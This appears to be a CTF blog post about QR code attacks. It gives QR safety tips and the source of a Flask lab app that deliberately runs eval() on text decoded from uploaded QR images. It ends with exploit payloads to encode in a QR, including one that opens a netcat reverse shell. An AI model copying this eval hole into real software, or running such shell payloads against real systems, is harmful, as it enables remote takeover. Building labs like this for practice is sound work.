vulnerable
tutorials
ctf
research
So what kind of technology become grow up in COVID19 pandemic and became popular method used to on during terrible time is QRCode
Learn More →
So i have couple question about QRcode like:
–> So that one is reason why kind of thing which i want to exploit
Scenerio: Because of not understanding from people with QRcode can make this one becomes juicy target for hacker. So basically, The work of us is using basic somekind QRGen
and make the scanner on victim like server or any kind of that like mobile phones, hardware, … know that payload for malicious can do some kind of that with one. And yet thinks about it, we can get full control of that.
AZcode
like image above. Aztec code
is a 2D, or matrix, machine-readable code that is similar in many ways to a QR code and can hold more information than a linear barcode.PDF417
format found on the back of most drivers licenses in the United States, for example, can encode up to 1800 ASCII characters.WIFI:S:<SSID>;T:<WPA|WEP|>;P:<password>;H:<true|false|>;
Before scanning a QR code, check that it has not been tampered with; for example, verify that it doesn’t cover up another QR code.
Refrain from scanning randomly found QR codes or codes in unsolicited messages.
Exercise the same caution with the codes as when handling links or attachments in emails or messaging apps.
Be very careful when it comes to using a QR code to pay a bill or conduct another kind of financial transaction. Consider using another payment option.
Disable the option to perform automatic actions when scanning a QR code, such as visiting a website, downloading a file, or connecting to a Wi-Fi network.
After scanning, look at the URL to check that it’s legitimate. Even so, it may often be better to avoid inputting your login or personal information on a site you’ve landed on via a QR code. If something feels off, open a browser and type the URL yourself.
Do not share QR codes containing sensitive information, such as those used to access apps or those included in documents and health certificates.
When generating a QR code, use a reputable service. Such a service can also verify that the QR is genuine and performs the desired action.
Keep your apps up-to-date and use security software.
So after time to build a lab and it was done. So i prefer to coming back and talk about the progress when building it and what should we do with malicious qrcode to gainning access to victim
Like you know i am a CTFplayer, therefore i try to make vulnerability in like CTFchallenge. It can be easy for anyone want to approach
(Main language)
(Web framework)
(Lib for play with qr)
(Lib for image progressing)
(Lib for play with qr)
–> That was enough to me for building this challenge
#! app.py
from flask import Flask, render_template, request, make_response, redirect, flash
from pyzbar.pyzbar import decode
from PIL import Image
import random
def decodeQR_code(image):
decodeQR= decode(Image.open(image))
return decodeQR[0].data.decode('ascii')
def isvalidimage(image):
im = Image.open(image)
w, h = im.size
if w != h:
return False
else:
return True
app = Flask(__name__)
app.secret_key = "secret key"
@app.route('/')
def index():
return render_template('index.html')
@app.route('/auth')
def authentication_doc():
url_ran = ['https://www.freecodecamp.org/news/how-to-authenticate-users-in-flask/',
'https://realpython.com/using-flask-login-for-user-management-with-flask/',
'https://testdriven.io/blog/flask-spa-auth/',
'https://fiverr-res.cloudinary.com/images/t_main1,q_auto,f_auto,q_auto,f_auto/gigs/129737214/original/49d95bd5e47653963b30ed02ca1aec87174a83e5/create-professional-qr-codes.png']
pick = random.choices(url_ran, cum_weights=(40,50,20,0.000000000001), k=1)[0]
return redirect(pick)
@app.route('/qr', methods=['GET'])
def QRoauth():
return render_template('qrcode.html')
@app.route('/qr', methods=['POST'])
def QRsubmit():
if 'file' not in request.files:
flash('No file part')
return redirect('qrcode_submit.html')
file = request.files['file']
if file.filename == '':
flash('No image selected for uploading')
return redirect('qrcode_submit.html')
if file:
if isvalidimage(file):
decode_string = decodeQR_code(file)
print(decode_string)
if decode_string == "":
flash('submit complete, how to you know wat your blob ? think what you got and try again')
return render_template('qrcode_submit.html')
else:
flash('submit complete, what a good think? qr here you are ' + eval(decode_string))
return render_template('qrcode_submit.html')
else:
flash('think far about the image you submit, it should be had same between width and height')
return render_template('qrcode_submit.html')
@app.route('/gow')
def gow():
return render_template('gow.html')
app.run(debug=True)
#! templates/gow.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>godofwar</title>
</head>
<body>
<img src="https://cdn-img.thethao247.vn/origin_768x0/storage/files/haibui/2022/11/09/sieu-pham-god-of-war-ragnarok-chinh-thuc-ra-mat-215580.png"
style="display: block;margin-left: auto;margin-right: auto;">
<p hidden>This is why you need to read a metadata concept of ragnarok: uggcf://ra.jvxvcrqvn.bet/jvxv/DE_pbqr</p>
</body>
</html>
!# templates/index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>HackerSide</title>
</head>
<body>
<div style="display: flex;justify-content: center;align-items: center;text-align: center;min-height: 50vh;">
<h1 style="display:inline;text-align: center;">
<code>This is the manual book of website? What you think about that ????</code></h1>
</div>
<div style="display: flex; align-items: center; font-size: large; place-content: space-evenly;">
<tr>
<li><code><a href="/auth">Authentication method</a></code></li>
<li><code><a href="/qr">Submit</a></code></li>
<li><code><a href="/gow">God of war</a></code></li>
</tr>
</div>
</body>
</html>
!# templates/qrcode_submit.html
<!Doctype html>
<title>Hey QRcode submit</title>
<p>
{% with messages = get_flashed_messages() %}
{% if messages %}
<ul>
{% for message in messages %}
<li><code>{{ message }}</code></li>
{% endfor %}
</ul>
{% endif %}
{% endwith %}
</p>
#! templates/qrcode.html
<!DOCTYPE html>
<title>Hey, QR submit check the out</title>
<h2 style="text-align: center;display:flex;justify-content: center;">Select a file to upload</h2><br>
<div style="display: flex;justify-content: center;align-items: center;text-align: center">
<form method="post" action="/qr" enctype="multipart/form-data">
<dl>
<p>
<input type="file" name="file" autocomplete="off" required>
</p>
</dl>
<p>
<input type="submit" value="Submit">
</p>
</form>
</div>
app.py
because it contains me idea for creating that trick
app.secret_key = "secret key"
- set about secret key to return to view because it try to pass some unique in Flask - helpful <p hidden>This is why you need to read a metadata concept of ragnarok: uggcf://ra.jvxvcrqvn.bet/jvxv/DE_pbqr</p>
so drop it rot13 and decrypt it and that could i want to talk https://en.wikipedia.org/wiki/QR_code
@app.route('/qr', methods=['GET'])
def QRoauth():
return render_template('qrcode.html')
@app.route('/qr', methods=['POST'])
def QRsubmit():
if 'file' not in request.files:
flash('No file part')
return redirect('qrcode_submit.html')
file = request.files['file']
if file.filename == '':
flash('No image selected for uploading')
return redirect('qrcode_submit.html')
if file:
if isvalidimage(file):
decode_string = decodeQR_code(file)
print(decode_string)
if decode_string == "":
flash('submit complete, how to you know wat your blob ? think what you got and try again')
return render_template('qrcode_submit.html')
else:
flash('submit complete, what a good think? qr here you are ' + eval(decode_string))
return render_template('qrcode_submit.html')
else:
flash('think far about the image you submit, it should be had same between width and height')
return render_template('qrcode_submit.html')
open('flag').read()
to generate the qr code with it like__import__('os').system('nc 0.0.0.0 9999 -e /bin/sh')
and you whill got you want this PoC is upgrade for my progressing and wat i can reach to exploit the basic challenge